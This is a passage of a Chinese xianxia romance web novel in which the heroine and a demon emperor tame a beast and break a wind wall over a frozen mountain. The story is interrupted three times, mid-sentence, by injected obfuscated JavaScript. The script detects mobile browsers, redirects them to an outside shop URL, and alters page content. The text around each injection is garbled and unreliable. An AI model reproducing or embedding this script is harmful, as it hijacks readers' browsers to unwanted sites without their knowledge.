想起钩星那外冷内热的性子,倒真有几分“渊渟岳峙,偶泄春雷”的意味。当然,我对渊寂的好感度为零,若真要我投票,一定会给钩星打高分。 “陛下看似檀灰覆玉冷,实则星火待风生。若他上榜,绝对能排第——第二。” 三个姑娘齐刷刷看向我,异口同声追问,“那第一是谁?” “当然是小青,在我心里,他永远都是第一。” 傍晚时分,钩星循迹找来——珊瑚总会将我的行踪一五一十禀报于他。 沿着缀满星灯的长街慢行,他望着璀璨灯火,低声叮嘱我仍需小心,毕竟魔界仍有不少人觊觎着将我重新炼成仙丹。 “我也盼着早日离开……我实在担心小青。” “……照夜。”钩星骤然驻足,面色阴沉地直视着我,“你若再提他,我便将你关起来,直到你交出仙丹为止。” “又来了,我就知道你要敲诈我。当初是尾巴选择了我,不是我强求的。” “那时你的身躯早已碎成了渣,若非他选你,你早已神魂俱灭。” “你看,所以并不是我抢了他,是他主动与我融合。”我轻叹一声,见他脸色依旧冷峻,便轻轻拽了拽他的衣袖,低声道,“我是真的害怕小青出事……他要去做一件极其危险的事。” 钩星狐疑地审视着我,挥手屏退牵来飞兽的侍从,眉头紧锁,“以青莲的性子,绝无可能放任你独自前来找我。他比谁都清楚,你落入我手中便是羊入虎口。究竟发生了什么?” “……你这个比喻略夸张了些。事实上——” 一路慢慢走着,我将渊寂可能与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549490|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙帝之死有关联的猜测,以及那句“照夜可往”的推断尽数道出。 听罢,钩星无奈地合了合眼,在抱婴椿巨大的树影下停住脚步。 “你明知是陷阱却仍自投罗网。青莲绝不可能说出那四个字,这是敌人为蒙骗人君、向你施压的伎俩。符山鹊带来的信息不仅源头不明,更易被拦截篡改——有人存心要分开你们,明白吗?” “我知道,所以我必须尽快回到他身边。” “把手给我。” 见我犹豫,钩星强硬地握住我的手,神色肃然,“听好了,照夜。我并非正人君子,有千百种手段将你强留于此,据为己有。但……但我清楚你的心不在此处。况且青莲此行,恐有去无回。你该尽快回到他身边。这并非我的本意,而是身为魔皇的不得已。与我共鸣,助我尽快劈开落羽山,而后你便可离开魔界。” “不行不行!”我甩开钩星的手连忙后退几步,“我答应了小青只与他共鸣!” 钩星一怔,难以置信地看着自己空落的手心,随即冷笑摇头,“那你便试试,单凭己身之力能否劈开落羽山!记住,我只给你七天,仅此一次机会。若你失败,除非归还仙丹,否则休想踏出映山都半步!” 不欢而散。 回到芍药汀时,细雨淅沥,一如我低落的心绪。我瘫在床上不愿动弹,连环琛来邀也推拒了。 尾巴见我闷不吭声,窝在枕头上与我相视,这家伙明明没有眼睛,我却能感受到他的视线。 “你看,我就知道钩星还想与你共鸣,他尝过那种滋味就再也忘不掉。” “感觉有些不对劲,他是想和你共鸣,一个魔皇,一个尾巴,你们借由我的身体共鸣,感觉怪怪的。” “……好像是哦,你要这么说,与青莲共鸣的不也是尾巴我?当然,你的身体也参与其中……这么说来,岂不是咱们三个一起这样那样了?” 我一巴掌拍在尾巴身上,气愤不已,“讨厌,小青是与我亲热,没你什么事儿!” “好好好,轻点打我,疼。” “快想想办法,我们得赶紧劈开那劳什子的落羽山,然后回去找小青。” “那走啊,你还躺着干什么?” “你,你有把握独自劈山?” 尾巴倏地窜到床边,将我拉起身,殷勤地拾起鞋为我穿上,“不知道,试试看呗。” 我让珊瑚备好一匹飞兽,带上尾巴便径直朝西境的雪山飞去。 途中,尾巴喋喋不休地数落我死脑筋不知变通,说钩星其实是耳根子软的人,属于给点甜头就愿倾尽所有的类型。 按尾巴的“高见”,我该嘴甜些,稍作亲昵,爽快与钩星共鸣劈山,而后皆大欢喜地离开,而不是如今这般自讨苦吃。 但我不要。我既答应小青只与他一人共鸣,便绝不会食言。 越往西行,气温骤降,仿佛一步步踏入了被神明遗弃的冰寒绝域。 原本绵延的葱郁林野渐次褪尽生机,绿色被无声吞噬,最终彻底让位于无边无际的惨白。天地间再无杂色,唯剩一片死寂的苍茫。 未过多久,凛冽的狂风开始嘶吼,如万千怨灵卷起密集雪片,形成一道道白茫茫的死亡旋涡。 风势凶戾得仿佛能撕碎天幕,飞兽在气流中剧烈颠簸,犹如被无数双冰冷无形的手狠狠撕扯,难以稳住身形。 直至临近落羽山,我们终于遭遇了真正的天堑——一堵纯粹由风暴凝结而成的壁垒巍然横亘于前。它如亘古存在的雷墙般隆隆卷动,拒绝一切生灵闯入。飞兽再难寸进,被迫踉跄俯冲降落。 双爪刚触及雪地,彻骨寒意便瞬间浸透骨髓。飞兽四肢以肉眼可见的速度覆上厚厚冰霜,它发出一声凄厉惊惶的哀鸣,仿佛踏中的并非积雪,而是冥府探出的利爪。 求生本能驱使下,它慌乱转身,不顾一切地奋蹄狂奔,只想拼死逃离这片连呼吸都能冻结的绝境。 25. 第 25 章 照夜有了第二个坐骑 我几乎无法睁开双眼,天地间唯余一片刺目的白。 狂风如无数利刃刮过周身,尾巴自我身后迅速延展,化作一道流转的金色屏障将我护住。我仰望着眼前这道接天连地的风墙,心中暗惊,就是它,阻挡了落羽山的冰雪消融? 我深一脚浅一脚地在没膝的积雪中艰难挪动,寒风卷着冰粒猛烈抽打在屏障上,发出令人心悸的嘶鸣。即便有仙力护体,每一次呼吸都带出浓浓白雾,瞬间凝结成冰晶。 就在我们几乎要被这片白茫茫的混沌吞噬时,一声尖锐的啸叫骤然撕裂了风雪的咆哮! 我猛地抬头,只见一只巨大的红隼正在低空盘旋。它双翼展开时遮天蔽日,赤褐色的羽毛在灰白的天幕下如燃烧的血液般夺目。 还未等我反应过来,一道黑影便如陨星般自红隼翼下急坠而下—— “咚!” 一声闷响,黑影不偏不倚砸在我面前十步之遥的雪地上,激起漫天雪浪。待雪尘稍散,我才看清雪地上被砸出的深坑,以及从容立于其中的身影。 “还以为你潜逃了。” 原来是钩星。 他轻拍屏障,尾巴便顺从地开启一道缝隙。他低头钻入,拂去肩头积雪,眨了眨眼,递来一方手帕,“鼻涕,擦擦。” “我答应过的事,绝不会食言。” “……我知道。”他抬眼望向天际,“向你介绍,那是我的第十五个坐骑,名叫箬。顺带一提,烛兽的名字是二十七。” “这么取名是为了好记么?”我吸了吸鼻子,这次没有拒绝他伸来的手——几乎冻僵的身体本能地寻求着温暖,“是在向我炫耀你有二十七个坐骑,而我只有一个?” 箬耐不住严寒已然折返。越接近风墙,一股无形的巨力便愈发阻碍前行。冰雪如刀锋般击打在屏障上,噼啪作响。 我轻抚尾巴,低声问它是否疼痛。 不待尾巴回应,钩星却低笑起来,“你总这般自言自语,仿佛真在与尾巴交谈似的。” “尾巴确实会说话,钩星,只是你们听不见。” “……照夜,仙丹不会言语,仙核不会发声,你的尾巴——这团凝聚的仙力,并不会说话。” 我对钩星草率得出的结论感到不满,猛地掐了下他的掌心。他先是愣了一愣,随即便紧握了,“护短,哪怕只是一条尾巴。” “这是什么东西,像一堵墙。” 前行已近乎不可能,我与钩星却仍竭力向风墙逼近。 它并非寻常风雪,而是由咆哮奔涌的能量凝聚而成的壁垒,充满了暴烈与毁灭的气息。 若非尾巴撑开的屏障在我们周身流转闪烁,散发出温润而坚定的光芒,任何胆敢靠近的存在——无论是血肉之躯还是金石之铁——恐怕早在数里外就会被撕成碎片,或在触及那肆虐寒气的瞬间,彻底凝固为永恒的冰雕。 这里早已失去了四季的秩序,时间本身也仿佛被冻结。 仰首望去,接天的风墙宛若亘古存在,以无穷伟力将落羽山彻底封锁在西侧,自成一片死寂绝域。积雪经年不化,层层堆叠,累积成无可估量的深度与严寒。 正是这永恒的封冻,断绝了滋养魔界的命脉——墨江的源头活水,使其最终蜿蜒成一道干涸的伤疤,深刻于大地之上。 眼前的景象无声诉说着一个事实,魔界至今仍在啃食百年前那场大战的苦果,未能挣脱它投下的漫长阴影。 凝视这片被硬生生从世界脉络中割裂的土地,几乎令人窒息——我难以想象,那场持续了整整十年的战争,究竟惨烈到何种地步。 “小心!” 尾巴与钩星几乎同时察觉来袭的威胁。 紧接着山崩地裂般的一声轰鸣自上方炸响!钩星瞬间蓄力腾空,黑雾凝成巨盾,硬生生挡住一头凭空现身的凶猛妖兽的猛击。 尾巴则如流星疾射,化作一柄硕大流星锤狠狠砸向妖兽!我踉跄退至巨岩后,紧盯着这突如其来的激战。 尾巴与钩星配合迅如闪电,一方牵制巨兽,另一方拳影如暴雨倾泻。最终那妖兽发出一声痛苦哀嚎,竟一头扎进风墙,消失得无影无踪。 “走,此地不宜久留。”钩星稳稳落地,语气凝重。 显然他已多次探访此地,或许曾尝试劈开风墙却未成功。 英招说得对,他虽天资卓绝,毕竟修行仅百年,即便仙能进展神速,仍不足以破除这天地屏障。钩星在山麓找到一处被积雪半掩的建筑,我们撬开瓦片跃入室内,周遭霎时陷入诡异的寂静。 点燃火把,流动的气流暗示这是一处因风雪突至而被遗弃的建筑群。 钩星四处探查时,我捧起尾巴轻声问,“受伤了吗?” 尾巴似乎有些意外,随即亲昵地缠上我的指尖,“有点疼,不过只是一点点。那曳石兽还挺厉害。” “曳石兽?是古籍记载只栖极寒之地的上古妖兽?” “……你连这都知道?从书上看的?”尾巴顺着手臂窜上我肩头,“曳石兽凶悍异常,领地意识极强,若闯入其地盘,它不仅会驱逐,还会追着对方报复。” “咦,真是小心眼的妖兽,不过它竟然可以突破风墙,相当厉害!” “那是自然,因为曳石兽的身体外包裹着一层黑色墨汁,保暖效果意外得不错。” “尾巴,你知道的太多了吧,你也喜欢看书?” “……你是不是傻,我去哪儿看书?我只是条尾巴!” 钩星确认环境安全后回头,正撞见我又在“自言自语”,眉头深深蹙起。他融了些雪水递给我解渴,倚墙坐下,向我要过青莲瓶细细端详。 尾巴竟不排斥钩星,任他揉捏还颇为受用。 突然,钩星举起光团沉声问,“你会说话?你并非仙丹核心……究竟是什么怪物,为何寄生在照夜体内?” 光团猛地试图从他指间挣脱,捏着嗓子尖叫,“救我啊照夜!” “他刚才说话了?”钩星目光锐利。 我尴尬地抢回尾巴,“他说话你听不见的……他不是怪物,就是鸿珠仙丹的核心,千真万确。” “……罢了。”钩星长叹一声,掩不住疲惫,“至少目前对你无害。那妖兽还会再来,我歇息会儿。” 不知过了多久,钩星已沉沉睡去。 我抱膝坐在他身旁,脑中飞速盘算着对策。显而易见,那头顽固的曳石兽绝不会善罢甘休,它的频频干扰让我们难以集中力量对付风墙。 而风墙本身也透着蹊跷——如此庞大的能量旋涡,中心必定藏着什么。 正沉思间,肩头忽然一沉。 钩星的脑袋歪靠过来,我侧脸时唇瓣不经意擦过他的鼻尖,心跳骤然失控,几乎要撞出胸腔。刚要推开他,却见那双金眸隙开一道缝,时间仿佛凝滞。温热的手掌抚上我的脸颊,继而扣住我的后脑,这个不知是梦是醒的男人带着我向后倾去,双双倒在冰冷的地面上。他的手臂从我腰间穿过,将我揽紧,均匀的呼吸声再次响起——他又睡着了。 我贴着他的胸膛,听着那平稳有力的心跳,忽然想起曾有一次将他错认成小青。明明容貌迥异,这心跳声却……一模一样。 接下来的五天里,曳石兽又袭击了八次。 尾巴和钩星竟打出了兴致,除却吃饭睡觉,便是摩拳擦掌等着那巨兽上门。 这固执的妖兽虽力大迅猛,却略显笨拙,很快被摸清了路数,被他们翻来覆去教训了好几回。可它偏不服输,每次逃回巢穴养精蓄锐后,便又卷土重来。 我远远趴着观战,甚至看得有些倦了。 第六日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549491|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傍晚,我强撑困意看完曳石兽的第十次进攻。 它挨了揍狼狈逃窜,尾巴却惋惜不已——打不死、抓不住,又不记打总来搅事儿,再拖下去也不是办法。虽然钩星听不到尾巴说话,但二人想法却出奇一致:下次得下狠手解决曳石兽。 这天半夜我睡了一觉,因怕我冷,钩星这几天都几乎挨着我睡,美其名曰方便我取暖,但其实我的体温比他高。 迷迷糊糊爬起来,我顺着梯子爬出去想找个的地方方便。刚放了水把裤子提起来,一股蚀骨寒气骤然从头顶压下! 野兽粗重的喘息声近在咫尺,黑雾弥漫,比风雪更刺骨。我浑身僵直,生怕一丝动静便会引得那张血盆大口咬下我的头颅。 “咦,这家伙气疯了,觉都不睡跑来报仇。”尾巴竟还有闲心调侃。 我吓出一身冷汗,强迫自己缓缓转身。仰头只见一头巨兽巍然矗立,那双绿莹莹的眼睛,需极力仰视才能望见。 此刻我的脑海中风暴骤起,极力放缓呼吸。 曳石兽并未立即攻击,它周身散逸的墨汁在狂风中奇异地维持着原本的形态。鬼使神差地,我伸手试图触碰那流动的“毛发“,妖兽却向后一缩,发出幼兽般的呜咽。 指尖传来的触感冰寒刺骨,又隐隐带着灼热,难以言喻。 突然,黑雾自我身后缠绕而上——钩星不知何时已来到身旁。他轻轻环住我,握住我颤抖的手。 “集中精神,感受它的意图,倾听它的心跳,理解它的痛苦。“ 风声凄厉,曳石兽猛然仰首长啸,那哀嚎中交织着挣扎与犹豫,愤怒里浸透哀伤。 尾巴顺着钩星的黑雾探向妖兽,金光如潮水般在烟雾中弥漫,几乎照亮整片天穹。 曳石兽匍匐在地剧烈挣扎,山峦为之震颤。风刃划破我的脸颊,但内心只有一个声音轰鸣,站稳,绝不能半途而废! 就在这时,钩星与尾巴的呼喊同时穿透风雪, “照夜,想起来!想起它的真名!“ 心脏骤然紧缩,呼吸停滞。 眼前的世界急速倒退,眨眼间竟已是白昼——只见曳石兽头顶立着个青衣人,面对由无数残肢头颅垒成的肉山。无数触须袭向妖兽,黑色巨兽在密集攻击中闪电般腾挪。青衣人的呼喊自时光彼岸传来。 他高喝着曳石兽的真名,挥臂指引它直刺怪物要害! “照夜!集中精神!“钩星的喝令将我从幻象中拽回。 黑暗重临,巨兽在痛苦中嘶吼,黑雾张牙舞爪似要撕碎一切。 金色仙力疯狂膨胀,震荡着曳石兽虚无的躯壳。 我大声喊出了它的名字,于这咆哮的风雪中。 “焉耆!” 〔听吾号令!尔形若垂天之云,奔逸如雷,掠影无形,然吾洞彻尔之真形,不过掌中玄影,怀中点墨,尔之速,凝为“耆”,尔之形,化为“焉”,今以天地之息为凭,铸尔真名——〕 焉耆!伏惟! 金光如一颗星星在眼前炸裂,巨量的仙力嘭地将方圆数十里的风雪卷入空中,我瘫倒在钩星怀里。 他扶稳我,望着纷扬落下的大雪,长长叹息了一声,随即,一只黑色的的小狗冒着风雪趔趄地走近,伸出粉红色的舌头舔了舔我的指尖。 “焉耆,一只上古神兽,恭喜你照夜,收获了你的第一个坐骑。” “是第二个,“我虚弱地纠正,“枞才是第一。“ “哎,你的运气呐,真是令人摸不着头脑,原本它的名字该是二十八。” 我从没感觉这么累,只能瘫在钩星怀里,他将我打横抱起,而那黑色的的小狗则跳到我胸口,找个了舒服的位置蜷起来便睡。 “你取名字的品味好差劲。” “睡吧,辛苦了照夜,睡吧。” 26. 第 26 章 本以为收服焉耆会耗尽仙力,谁知除了困倦,我竟无半点饥饿,反而有种奇特的饱足感。 睡梦中,那些碎片般的画面不断闪现,青衣人与可怖怪物的激战、焉耆矫健的身姿……我确信自己偶然窥见了过去的片段。 那位青衣人究竟是谁?而记忆里那肉山般的怪物又是什么?它残肢堆叠、百目开阖,密布的头颅犹如腐烂的果实,可怖非常。 尤其那标志性的触手,让我心生不祥的预感——它与瘴母神、无相孽之间,是否存在某种关联? 谜团如雪球般越滚越大,却似乎对眼前的困境并无助益。我能看到这些碎片,大概是因为接触焉耆时获取了它的记忆。 但话说回来我有这种能力么,换句话说,这种能力在三界存在么。 醒来时只觉得脸上湿漉漉的——一只绿眼睛的纯黑小狗正吐着舌头盯着我,而我脸上沾满了它的口水。 不等我开口,那粗糙温热的舌头又舔过我的嘴唇,惊得我猛地坐起身,接过钩星递来的帕子使劲擦脸。 “休息得如何?呼噜声可是震天响。“ “……不可能,我可是淑女。“ “骗你的。“他轻笑,“你睡着时很安静。“ 我瞪了钩星一眼,爬出避身处用雪水洗脸。焉耆化作的小黑狗摇着尾巴跟来,见我在洗脸,也有样学样地在雪地里打滚,蹭得满脸是雪。 “喂,给我也洗洗。“尾巴跳到我手上,却猝不及防被焉耆舔了一口。 我抓起尾巴在雪里揉搓,突然想到这团光有性别,连忙问,“我現在搓的是正面还是背面?“ 尾巴舒展着光晕,仿佛发出嗤笑,“正面。“ “什么?!那我岂不是碰到了你的……那个部位!“ 他哈哈大笑,缠紧我的拇指躲开焉耆的舌头,“对啊,碰过无数次了,很舒服。” 钩星出来时,正撞见我拽着尾巴在空中甩动,焉耆兴奋地蹦跳着试图咬住光团,一时间滚作一团玩在了一起。 “七日之限已过,照夜。“ 我猛地想起他的威胁,连忙晃着他的胳膊哀求,“宽限两天嘛,求你了。“ “休想。“ 我气鼓鼓地跺脚,“都怪你和尾巴!你们一开始就盘算着收服焉耆,才故意拖延时间,这怎么能算在我头上?“ 钩星望着骑在焉耆背上嬉闹的尾巴,眉头微蹙,“说来确实蹊跷。你的尾巴不仅有自我意识,还能与我配合无间。仔细想想,这些天你几乎没出什么力。“ “好啦好啦!“我连忙转移话题,“现在焉耆在手,正好让它带我们去风墙的涡心一探究竟。“ 钩星却似有些不甘,低声嘟囔,“连吃带拿不说,得了便宜就急着要走。青莲战力不俗,法器更是凶悍如绞肉机,你的担忧怕是多余了。“ “……你怎么又变了说辞,嬗变!” 钩星冷哼一声,朝焉耆走去。他仅打了个清脆的口哨,那只毛茸茸的小黑狗便欢快地蹿到他脚边。 轻轻从狗背上拈起尾巴递还给我,钩星嘴角噙着一丝戏谑,“是啊,我翻脸比翻书还快。真想把你关起来,每天只准看着我一个人。“ 尾巴幸灾乐祸地抓住我的发丝,“他还挺纯情,只想着让你看着他。哪像青莲,看着老实,却早早把你这样那样了……“ 我气得满脸通红,一把将尾巴塞进瓶子里,“下流!给我进去!“ 这时,我第一次近距离目睹了焉耆的变化——它周身那不寻常的皮毛开始化作缓缓流动、翻涌的黑色烟墨。细看之下,那并非普通的烟雾,而是浓稠如墨汁的物质,正丝丝缕缕地从它小小的躯体边缘蒸腾、弥散。 只见那看似无害的小狗瞬间被喷薄的墨汁吞没。墨汁仿佛有了生命,以惊人的速度膨胀、拉伸,浓稠如真正的墨液汹涌喷发,化作狂暴的黑色风暴,凝聚成焉耆庞大的本体。 由墨汁构筑的纯黑骨骼在烟霭深处发出沉闷的爆响,撑起如山峦般隆起的脊背和粗壮得令人窒息的四肢。覆盖其上的不再是毛发,而是更加浓密狂野的活体烟墨,如沸腾的墨海,又似燃尽的余烬形成的风暴云团,不断翻腾聚合。 不得不惊叹,初次目睹焉耆巨大化的场景极为震撼。 我忽然想到,墨江的得名,难道正是因为构筑焉耆的仙力宛如墨汁?毕竟它一直驻守在大河源头,仿佛这条水脉的守护者。 钩星带我跃上焉耆头顶,它的“毛发“瞬间将我们牢牢固定。不等我发问,一阵压顶的风啸几乎将我的脸吹得变形——若非逸散的墨汁紧紧吸附着我,我早已被甩飞出去。 待焉耆腾空而起,我与钩星才终于看清风墙涡心的真相。 那是一根高耸的石柱,透明外壳下流动着漩涡般绚烂的仙力,光泽竟与尾巴体内的光芒有几分相似。 钩星显然震惊不已,喃喃道,“竟然是一根……熠石石钉。“ 因吸收了难以估量的庞大仙力,石钉中心形成了一处坍陷的涡心,牵引周遭空气剧烈旋转,最终演化成阻断墨江、将落羽山隔绝在西的巨型风墙。这片区域的气候也因此剧变,成为冰雪永封的极寒之地。 “有些棘手了。“钩星沉思片刻,命焉耆返回地面。落地后,他面色凝重,“熠石内积蓄的仙力太过庞大,若贸然劈碎,仙力碰撞恐会引发大爆炸,波及整个魔界。“ 焉耆周身游走的墨汁渐渐收归体内,又变回那只小黑狗,兴奋地跑过来蹭我的脚踝求抚摸。我抱起它掂了掂,轻得出奇,难以想象它化形后竟是那般庞然巨兽。 “那怎么办?要不我先回去找小青?他见多识广,一定有办法。“ 钩星阴沉着脸,良久不语。若不是我被寒风吹得鼻涕直流,他或许真会像从前那样趁机“敲诈“一番。 但此刻,他只是轻叹一声,揉了揉我的头发,“有人来了。从长计议吧。“ 待我们折返那处荒废的地下建筑时,从映山都赶来护卫魔皇的精锐部队已然抵达。 数十名披坚执锐的魔族将士神情肃穆,在女将浔筝的率领下如雕塑般屹立于风雪中。积雪几乎没膝,呼啸的西风即便在白昼也带着致命的凛冽,如同无形巨手扼住生灵的咽喉。然而将士们眼中唯有坚毅与忠诚,仿佛任何艰险都无法动摇他们护卫君主的决心。 浔筝紧握的长剑在风雪中泛着寒光,为这片酷寒天地平添一抹锐利。 “陛下,落羽山下传来异响,末将即刻率部前来接应,唯恐——“面色白皙的女将瞥了我一眼,压低声音,“唯恐有歹人作乱。“ “下方扎营。“ “遵命!“ 营寨很快便有了生气,逐渐热闹起来。 巡逻的将士但凡靠近风墙一尺,都会被焉耆龇牙低吼。浔筝甚至面带嫌恶地让我管好自己的“狗“。我坐在篝火前心烦意乱,懒得与她争辩。 尾巴与焉耆玩闹到天黑才回来,一尾一狗累趴在我脚边烤火,一点烦恼都没有,不像我吃不下东西,也不像钩星心焦如焚。 “此地的灾祸竟由一块熠石引发……陛下,开采熠石本就风险极高,即便如今我们也只能开采低纯度矿脉,仍常因仙力碰撞引发事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我大吃一惊,慌忙捂住尾巴的上半部分,“你还有这本事?等等,要是吸干了这么珍贵的熠石,他们非把我生吞活剥不可!咱们已经占了魔界不少便宜,不能再伸手了。话说……你有嘴吗?” 万万没想到,我以为捂住了尾巴的“嘴”,声音却依旧清晰传来,“你捂着的可是我的那个部位哦。” 我窘迫至极,顿时面红耳赤,连忙松开手提溜着尾巴,“下流,说正经事!” “我能吸干熠石内的仙力,但你要付出点代价。” “什么代价?要我的命吗?会在我体内爆炸?再碎一次的话,我还有活路吗!” “那倒不至于。”尾巴缠上我的手指,仿佛在轻轻磨蹭,“你会暂时丰腴些,毕竟如此巨量的能量一下子塞进体内……不过你放心,会慢慢恢复正常。” 事情发展到这一步时我还没有意识到自己究竟会付出怎样的代价。 为了尽快吸收熠石的仙力,尾巴需要做些准备,在那之前我只能无所事事在风雪中发呆。 钩星的臣下提出了种种方案,有人建议在映山都西侧筑起屏障,抵御熠石爆炸的冲击;有人附和浔筝的主张,既然僵持不下,不如将我炼成仙丹助魔皇提升修为,再从长计议;更有人直接引述泉礼的谏言——既然魔皇不忍下手,干脆一不做二不休强迫我生个孩子,好通过这种方式把仙丹的力量传承给魔皇的子嗣。 27. 第 27 焉耆根本不理会我快气炸了,比起这个它更关心谁又不知好歹闯入了它的领地。我索性用棉花塞住耳朵,蒙头大睡,图个耳根清净。 钩星的心情显然也很沉重,他斥退了那些七嘴八舌的臣下,轻轻摘掉我耳中的棉絮,低声问道,“你这般安静,不饮不食,也不对着尾巴自言自语了……是在生气么?“ “换作是你,你也会生气。“ 钩星重重叹了口气,颓然倒在我身旁,目光空洞地望着幽深的屋顶。 这个地方,百年之前也曾人烟喧嚣,落羽山脚下蔓延着一片广袤的草原,那里水草丰茂,生机盎然,自从百姓们迁移离开,曾经的一切都掩盖在大雪下。 “我不会,“钩星忽然侧过身,眼眸在昏暗中闪着微光,“我不会生气,我愿意。“ 那温柔的目光让我不忍恶语相向。 我隐约从他眼底窥见一丝藏得极深的哀伤与不甘,又想起那座曾经空寂的宫殿——若非劈开长渊,那里依旧会空空荡荡。 “你可以背负众人的期望,但不必活成他们理想的模样。“我轻声道,“无论你是魔皇,是钩星,还是那个嘴坏心软的小晟,我都会支持你。就算这次对风墙无可奈何,也只是''这次''而已。如今长烬海取水不尽,魔界不会因这堵墙而凋零。别怕辜负他人,若竭尽全力仍换不来认可,那就与他们分道扬镳,绝不是什么好东西。钩星,我阿爹虽然只是一个穷得叮当响的樵夫,却教会我和小青许多。他说真正的力量源于内心坚定,而非外人眼光。无论如何,至少我和谷阿翁会站在你这边。“ “……突然长篇大论一番,是想动摇我留下你的决心么。” 我蜷起身子,几乎缩在钩星的身下,他背后的篝火燃尽,噼啪作响的枯枝已然成为灰烬,要经过漫长的岁月,灰烬才会回归大地成为培育生命的土壤。 “我必须去找小青。若他前路艰险,我便做他的拐杖;若他去向混沌,我便做他的光;若他奔赴的是条绝路,我便为他踏出一条归途。总之我与他约定好了,生死不离。” 钩星的手缓缓抚过我的脸颊,最后他将脸埋进我的颈窝,呼吸温热,“回青莲身边去吧,照夜。如果可以……但愿我们永不再相见。“ 魔皇钩星最终没有采纳任何臣子的谏言。他暂缓了劈开风墙的计划,也绝不容许我被投入丹炉。 我离开映山都那日,他依旧没有现身。内心柔软脆弱爱哭的魔皇陛下也许像上次离别时一样,正悄悄躲在某个角落里哭鼻子。 临行前,谷阿翁再三叮嘱我提防人君与太师。虽不知阴谋的全貌,但谨慎些总没错。 我们约定待他伤愈后在月下州重逢。我问这次是否会带“小晟“同来,这老头面露窘色,与我一同望向无边无际的长烬海,终于坦言,其实若非我此次前来,钩星本应在长渊之底静修。那夜他感知到我的气息,才中断修炼,迫不及待地想向我炫耀他的第二十七个坐骑。 焉耆化身巨兽,墨汁般的毛发将我轻轻托上头顶。 我挥手向谷阿翁道别,话音未落,焉耆已如炮弹般直冲云霄。我紧捂几欲撕裂的头皮,窒息感扑面而来。转眼间,我又回到了风雪肆虐的落羽山。 历经数日准备,尾巴终于完成了吞噬熠石柱的筹备。 焉耆载着我们冲向风墙,那一瞬间,若非尾巴及时展开金色仙力屏障,我恐怕早已被狂暴的气流撕成碎片。焉耆轻松穿越风墙,将我们带至涡心——那根高耸入云的熠石巨钉之下。 这里竟是别有洞天,无风无雪,地面上甚至钻出了青翠的嫩草。 焉耆仰天长啸,匍匐在石钉前,仿佛忆起了昔日与主人并肩作战的岁月。 熠石内部流淌的金色光芒近看愈发震撼。 尾巴跃上我的掌心,催促道,“如何?钩星那小子嘴上说不送,实则时刻感知着你的动向。我们得速战速决。” “他为何也能感知到我?小青能感应是因为在我体内种了莲子。钩星又是凭什么?” “……人家在跟你商量要事,你在纠结什么问题?啧,当时重塑你们时,你和他的血肉混淆了一部分,他自然能感应到你身上属于他的那一部分。诶,这么说来,在和青莲共鸣时,其实我们四个都参与了呢,哇,你好下流照夜。” 我给了尾巴一巴掌,他顺势黏在我手心,像一团甩不掉的粘液,“赶紧的,你才下流,下流的尾巴!” 事不宜迟,为避免吸收仙力后被钩星扣留,我们立刻行动。 只听尾巴深深吸气,托着我的手轻触温润的石壁。仙力开始源源不断涌入,我仿佛置身漩涡中心,感到一股强大力量正从体内抽取能量。 尾巴沿熠石内部疾速窜至顶端,焉耆感知异动,膨胀的风势使风墙更加汹涌。 天地间白茫一片,连阳光都无法穿透。 就在这时,一股暖流顺手臂汇入心口。尾巴迅速蔓延覆盖整个石钉表面,将其完全包裹。 突然,我瞥见熠石内部浮现出转瞬即逝的文字。我本能地双手扶住石壁,瞪大双眼试图铭记这些镌刻在古老仙力中的讯息, 太初庚辰,僊巡西荒。 秽聚膣藟,孽形猖狂。 颅肢盘蠕,蔽日吞光。 僊驭焉耆,霆叱风扬。 石钉贯魄,镇孽于壤。 仙炁涤荡,秽绝清疆。 灾弭祸息,赤壤复康。 待有贤者,碎钉还氓。 永志此役,僊启其望。 待金色铭文消散,熠石巨钉内的仙力已尽数被尾巴吸收。 我只觉自己如行走的太阳,磅礴能量在体内奔涌膨胀,皮肤仿佛即将撕裂,却奇异的不感到疼痛。 呼啸百年的风墙终于平息,消散于天地之间。大雪覆盖的废墟上,唯剩失去光辉的石钉永远凝固在时光里。 “你现在强得可怕啊,照夜。”尾巴体内的光芒前所未有的炽烈,他兴奋地缠紧我的发丝催促,“快走!此处的动静已惊动映山都!” 事实上,下一秒我便失去了意识。 焉耆将我裹入它翻涌的墨汁中,冲天而起,只在这片故土留下两个巨大的爪印。它曾随主人在此征战,奉命守护此地,而今天此刻,它的任务终于结束,可以回家了。 只是,最初赐予它真名的人,已经不在了。 雨滴答落在石窟顶,带着苔藓特有的湿腥气。 醒来时只觉得呼吸沉重,待意识到那呼噜声竟出自自己,我困惑地试图抬头查看身体,却发现连这样简单的动作都异常吃力。 更离谱的是,我眼睁睁看着自己的胸口随着呼吸起伏,竟如两座小山丘般隆起! 窒息感让我惊慌地翻滚一周,重重压在熟睡的焉耆身上。它哀嚎着从我身下挣扎逃出。 不对劲......我的身体沉重如铁。借着石壁幽微的光,我惊恐地发现自己的手已胖得看不出指骨轮廓! “尾巴!尾巴!“ 